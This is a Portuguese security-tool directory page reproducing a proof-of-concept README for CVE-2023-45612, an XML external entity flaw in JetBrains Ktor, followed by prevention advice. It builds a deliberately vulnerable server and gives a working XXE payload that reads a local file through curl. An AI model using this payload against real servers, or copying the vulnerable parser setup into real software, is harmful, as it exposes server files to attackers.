Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ktor-xxe-poc — Este repositório fornece uma Prova de Conceito para CVE-2023-45612, demonstrando uma vulnerabilidade de injeção de XML External Entity (XXE) nas versões do JetBrains Ktor anteriores a 2.3.5. | Kitploit
Ferramentas/GitHubGitHub/razvanclaudiu/ktor-xxe-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubrazvanclaudiu/ktor-xxe-poc

ktor-xxe-poc

Este repositório fornece uma Prova de Conceito para CVE-2023-45612, demonstrando uma vulnerabilidade de injeção de XML External Entity (XXE) nas versões do JetBrains Ktor anteriores a 2.3.5.

Ver Repositório
há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-45612: Prova de Conceito XXE do JetBrains Ktor

Este repositório contém um servidor Ktor vulnerável para demonstrar a vulnerabilidade de injeção de Entidade Externa XML (XXE) identificada em CVE-2023-45612.

A vulnerabilidade existe em versões do Ktor anteriores a 2.3.5 quando o plugin ContentNegotiation é usado com o serializador padrão xml(). O analisador XML padrão não foi configurado para prevenir a resolução de entidades externas, permitindo que atacantes leiam arquivos arbitrários do servidor.

As seções a seguir são os passos para recriar o exploit por conta própria.

Pré-requisitos

Versões que usei para esta PoC:

  • IntelliJ IDEA 2025.2.3
  • JDK 21
  • Gradle 8.14
  • Ktor 2.3.4

Configuração

Crie um projeto Ktor no IntelliJ IDEA com o motor Netty, Gradle Kotlin e a versão 2.3.4 (ou uma versão anterior) do Ktor.

Dentro do arquivo build.gradle.kts você precisará introduzir o seguinte plugin:

root@kitploit:~
kotlin("plugin.serialization") version "2.2.20"

e estas dependências;

root@kitploit:~
implementation("io.ktor:ktor-server-content-negotiation")  
implementation("io.ktor:ktor-serialization-kotlinx-xml")

Código

Application.kt deve conter a função principal para iniciar o servidor e a função module() para configurá-lo. Por padrão, a função xml() inicializa um analisador XML que permite o processamento de entidades externas.

root@kitploit:~
fun Application.module() {
    install(ContentNegotiation) {
          xml() 
    }
    configureRouting()
}

Routing.kt deve definir o endpoint que receberá e analisará o XML malicioso.

root@kitploit:~
@Serializable
data class Message(
    @XmlElement
    val message: String
)
  
  
fun Application.configureRouting() {
    routing {
        post("/message") {
              try {
                  val receivedMessage = call.receive<Message>()
                  call.respondText("Message received: ${receivedMessage.message}")
              } catch (e: Exception) {
                  call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
              }
        }
    }
}

Como Executar

Construa a aplicação e inicie o servidor.

root@kitploit:~
./gradlew build
./gradlew run

Para testar o endpoint, crie um arquivo XML chamado hello_message.xml.

root@kitploit:~
<Message>  
	 <message>Hello, world!</message>  
</Message>

Você pode executá-lo com o seguinte comando curl (no Windows):

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'

E você deve obter a seguinte mensagem se for bem-sucedido:

root@kitploit:~
Message received: Hello, world!

Como Explorar

Crie um arquivo secret_file.txt com algum texto dentro. A informação contida é o que queremos obter com nosso exploit.

Crie um arquivo chamado exploit_message.xml. Seu conteúdo deve definir uma entidade externa &xxe; como o conteúdo do arquivo secret_file.txt e então usar essa entidade dentro das tags <message>.

root@kitploit:~
<!DOCTYPE Message [  
        <!ENTITY xxe SYSTEM "secret_file.txt">  
        ]>  
<Message>  
	 <message>&xxe;</message>  
</Message>

Execute o seguinte comando curl (no Windows) para o servidor em execução:

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'

O servidor lerá o arquivo secret_file.txt e enviará seu conteúdo de volta na resposta HTTP:

root@kitploit:~
Message received: XXE was a success.

Diretrizes de Prevenção

Atualizar o Ktor

A solução mais eficaz é atualizar o Ktor para a versão 2.3.5 ou posterior. Eles usam um analisador XML padrão configurado de forma segura que desabilita o processamento de definições de tipo de documento e entidades externas por padrão, o que previne diretamente este ataque XXE. Alternativamente, você também pode configurar manualmente o analisador XML.

Implementar validação rigorosa de entrada

Como uma camada extra de defesa, leia o corpo bruto da requisição como texto simples e rejeite-o se contiver palavras-chave suspeitas como <!DOCTYPE ou <!ENTITY antes que ele chegue ao analisador.

Usar um formato de serialização diferente

Esta vulnerabilidade é específica da análise de XML. Se os requisitos da sua aplicação forem flexíveis, a mudança mais segura é evitar totalmente o XML e usar um formato que não tenha esta classe de vulnerabilidade, como JSON.

Testar o código contra vulnerabilidades conhecidas

Ativamente tente encontrar falhas de segurança verificando suas bibliotecas quanto a vulnerabilidades conhecidas e testando sua aplicação para exploits comuns.

Baixar ferramenta